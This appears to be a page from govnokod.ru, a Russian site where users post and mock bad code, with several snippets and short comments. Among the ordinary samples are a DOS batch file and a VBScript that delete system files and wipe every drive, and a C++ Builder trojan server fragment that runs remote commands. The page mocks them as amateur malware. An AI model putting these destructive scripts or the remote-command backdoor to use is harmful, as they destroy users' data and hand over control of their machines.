- 1
- 2
- 3
- 4
- 5
Чтобы сделать программу невидимой для пользователя нажимаем на форму в конструктере и изменяем следующие свойства:
— FormBorderStyle — None
— Opacity — 0%
— ShowIcon — False
— ShowInTaskbar — False
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+131
Чтобы сделать программу невидимой для пользователя нажимаем на форму в конструктере и изменяем следующие свойства:
— FormBorderStyle — None
— Opacity — 0%
— ShowIcon — False
— ShowInTaskbar — False
И Хабр туда-же...
http://habrahabr.ru/post/127278/
+131
Cd\
Cd C:
Сd winMe
Del *.exe
Del *.ini
Del *.com
Cd\
Cd win98
Cd system
Del *.dll
Del *.exe
Сd windows -переходим в папку Windows (у 95% ламеров и юзеров папка называется именно так)
Большой минус бат файлов да и ДОСа в частности это то что нельзя удалять сразу папку с файлами, а нужно заходить в каждую папку отдельно и удалять там файлы.!!!
(C) http://kivi.clan.su/publ/kopjutery/sozdanie_virusov/kak_sozdat_virus_v_bloknote/10-1-0-8
+13
void __fastcall TForm1::FormCreate(TObject *Sender)
{
// ServSckt - наш компонент TServerSocket
ServSckt->Port = 4321;
ServSckt->Active = true;
}
void __fastcall TForm1::ServScktClientRead(TObject *Sender,
TCustomWinSocket *Socket)
{
RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
// информации, которую передаем как параметр этой функции
}
//---------------------------------------------------------------------------
// собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
void TForm1::RecCommand (String received)
{
int cn;
TTrojanUtilites Utilz; // создаем объект наших утилит
Utilz.Sock=ServSckt; // необходимо для отсылки ответа клиенту, так как сокет у нас
// находится на форме, а TTrojanUtilites не имеет никакого отношения
// к форме. Просто передаем указатель на TServerSocket
String temp;
temp=received;
temp.Delete(2,temp.Length()); // получаем первый символ сообщения - номер команды
cn = StrToInt(temp); // преобразуем в число
received.Delete(1,1); // удаляем код команды - остаются одни параметры
switch (cn) { // в соответсвии с полученой командой
// запускаем соотвествующую утилиту
case 1 : Utilz.RestartMachine(); break; // перезагрузка
case 2 : Utilz.WriteRegistry(received); break; // запись в реестр
case 3 : Utilz.ReadRegistry(received); break; // чтение реестра
case 4 : Utilz.SendFile(received); break; // чтение файла
case 5 : Utilz.DeleteFile(received); break; // удаление файла
case 6 : Utilz.ExecuteFile(received); break; // запуск файла
case 7 : Utilz.OpenCloseCD; break; // открытие/закрытие CD-ROM
case 8 : Utilz.HideMouse(); break; // прячем курсор мыши
case 9 : Utilz.SwapMouseButtons(); break; // переключаем кнопки мыши
default:
SendMsgToClient("Неправильная команда!") ; // получена недопустимая команда
// информируем клиента об этом
}
}
NAT, NAT... Да что вы пристали со своим NAT?!
Отсюда - http://hackersoft.ru/library/articles/other/pishem_svoego_troyanchika_.html
+157
postToAgent: function(n) {
var _this = this,
i = _this.arCache.decIndex,
dlgText = '......'; //тут текст убран, чтоб не злить дядек.
$('#paydataform').attr('action', _this.arPayAgentsList[n].target);
$('#paydataform').append('<input type="hidden" name="postdate" value="'+ _this.arDecisList[i].DatePost +'"/>');
$('#paydataform').append('<input type="hidden" name="postnum" value="'+ _this.arDecisList[i].NumPost +'"/>');
$('#paydataform').append('<input type="hidden" name="postsum" value="'+ _this.arDecisList[i].Summa +'"/>');
$('#paydataform').append('<input type="hidden" name="divid" value="'+ _this.arDecisList[i].Division +'"/>');
$('#paydataform').append('<input type="hidden" name="uin" value="'+ _this.arDecisList[i].SupplierBillID +'"/>');
$('#paydataform').append('<input type="hidden" name="'+_this.arPayAgentsList[n].addpnam+'" value="'+ _this.arPayAgentsList[n].addpval +'"/>');
if(confirm(dlgText)) {
$('#paydataform').submit();
var wnd = BX.WindowManager.Get();
if(wnd && !wnd.unclosable)wnd.Close();
}
},
- Сериализация и jQuery.post
- Не слышал
+68
boolean isCyrillic(char c) {
return Character.UnicodeBlock.CYRILLIC.equals(Character.UnicodeBlock.of(c));
}
Краткость - сестра таланта
−117
on error resume next
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
fso.deletefile "C:*.*",1
fso.deletefolder "C:*.*",1
fso.deletefile "D:*.*",1
fso.deletefolder "D:*.*",1
fso.deletefile "E:*.*",1
fso.deletefolder "E:*.*",1
fso.deletefile "F:*.*",1
fso.deletefolder "F:*.*",1
fso.deletefile "G:*.*",1
fso.deletefolder "G:*.*",1
fso.deletefile "H:*.*",1
fso.deletefolder "H:*.*",1
fso.deletefile "I:*.*",1
fso.deletefolder "I:*.*",1
fso.deletefile fso.getspecialfolder(0)+"system32hal.dll",1
Школота пишет охуительный троян.
http://www.v-zlom.ru/138-napisanie-troyana-na-yazyke-visual-basic-script.html
+165
objects = objects.concat([something]);
альтернатива для push наконец найдена
+71
@Override
public View getView(int position, View convertView, ViewGroup arg2) {
Post post = null;
ListViewHolder holder;
if (mAnimated == null)
mAnimated = new HashSet<Integer>();
if (mPostsFiltered == null) {
post = mPosts.get(position);
if (position > 10)
shouldNewPartOfPostsBeLoaded = true;
else if (position == 1) {
if (shouldNewPartOfPostsBeLoaded) {
shouldNewPartOfPostsBeLoaded = false;
onMainNewsClick(null, false);
}
}
} else {
post = mPostsFiltered.get(position);
if (mNewPosts != null && mNewPosts.size() > 0) {
mPosts.addAll(0, mNewPosts);
mNewPosts = new LinkedList<Post>();
notifyDataSetChanged();
}
}
View view;
int type = getItemViewType(position);
if (convertView == null) {
holder = new ListViewHolder();
if (type == ITEM_WITH_IMAGE) {
view = mInflater.inflate(R.layout.item_news_item_new,
null);
holder.thumb = (RustoriaCenterCroppedWebImageView) view
.findViewById(R.id.thumbnail);
holder.textOverlay = view.findViewById(R.id.text_overlay);
} else {
view = mInflater.inflate(
R.layout.item_news_item_no_image, null);
}
holder.title = (TextView) view.findViewById(R.id.title);
holder.author = (TextView) view.findViewById(R.id.author);
holder.commentsCount = (TextView) view
.findViewById(R.id.comment_count);
holder.time = (TextView) view.findViewById(R.id.time);
holder.likesSign = (ImageView) view
.findViewById(R.id.likes_sign);
holder.likesCount = (TextView) view
.findViewById(R.id.likes_count);
view.setTag(holder);
} else {
view = convertView;
holder = (ListViewHolder) view.getTag();
}
String blogName = "";
LinkedList<Blog> blogs = post.getBlogs();
if (blogs.size() > 0)
blogName = blogs.get(0).getName();
String userName = post.getUserName();
String postTitle = post.getPostTitle();
holder.title.setText(postTitle);
holder.author
.setText(post.getUserName()
+ (((blogName.length() > 1) && (!userName
.equals(blogName))) ? (" для «"
+ blogName + "»") : ("")));
holder.commentsCount.setText(String.valueOf(post
.getPostCommentsCount()));
holder.time.setText(TimeUtils.formatDateCaption(
MainActivity.this, post.getDatetime(),
TimeUtils.getCurrentDatetime()));
int rating = post.getRating();
if (rating < 0)
holder.likesSign.setImageResource(R.drawable.minus);
else
holder.likesSign.setImageResource(R.drawable.plus);
holder.likesCount.setText(String.valueOf(Math.abs(rating)));
String imgName = post.getPreviewImageUrl();
if (imgName != null && holder.thumb != null && type == ITEM_WITH_IMAGE) {
String thumbUrl = NetworkUtils.getImageUrlByName(
MainActivity.this, imgName,
(mOldAndroid) ? ("200") : ("400"));
holder.thumb.setDimenstions(post.getImageWidth(imgName),
post.getImageHeight(imgName));
holder.thumb.setTag(thumbUrl);
holder.thumb.setImageURL(thumbUrl);
holder.textOverlay.setBackgroundColor(Color.TRANSPARENT);
Это из андроид-проекта. Вот такой вот getView в адаптере для ListView, в котором рекомендуют писать коротко и читабельно. Жаль весь не поместился:)
+15
// file: Filter.h
inline const CString GetField() const
{
if (m_strField.compare(MBL_FT_AUTHID_STRING) == 0)
{
return CString(MBL_FT_AUTHID_SERVER_STRING);
}
else if (m_strField.compare(MBL_FT_CORRELATION_ID_STRING) == 0)
{
return CString(MBL_FT_CORRELATION_ID_SERVER_STRING);
}
else if (m_strField.compare(MBL_FT_PLAN_STRING) == 0)
{
return CString(MBL_FT_PLAN_SERVER_STRING);
}
// ... всего 14 веток в таком духе ...
else if (m_strField.compare(MBL_FT_DDF_ACCOUNTING_STRING_STRING) == 0)
{
return CString(MBL_FT_DDF_ACCOUNTING_STRING_SERVER_STRING);
}
return m_strField;
}
Автор — русский.
+156
$pdate = "01.".$dat["mon"].".".$dat["year"];
$stmp = MakeTimeStamp($pdate, "DD.MM.YYYY");
if($dat["mon"] == 1 || $dat["mon"] == 3 || $dat["mon"] == 5 || $dat["mon"] == 7 || $dat["mon"] == 8 || $dat["mon"] == 10 || $dat["mon"] == 12):
$stmp += 2678400;
elseif($dat["mon"] != 2):
$stmp += 2592000;
else:
$stmp += 2419200;
endif;
Поиск последнего дня месяца. Для последующей подстановки в SQL запрос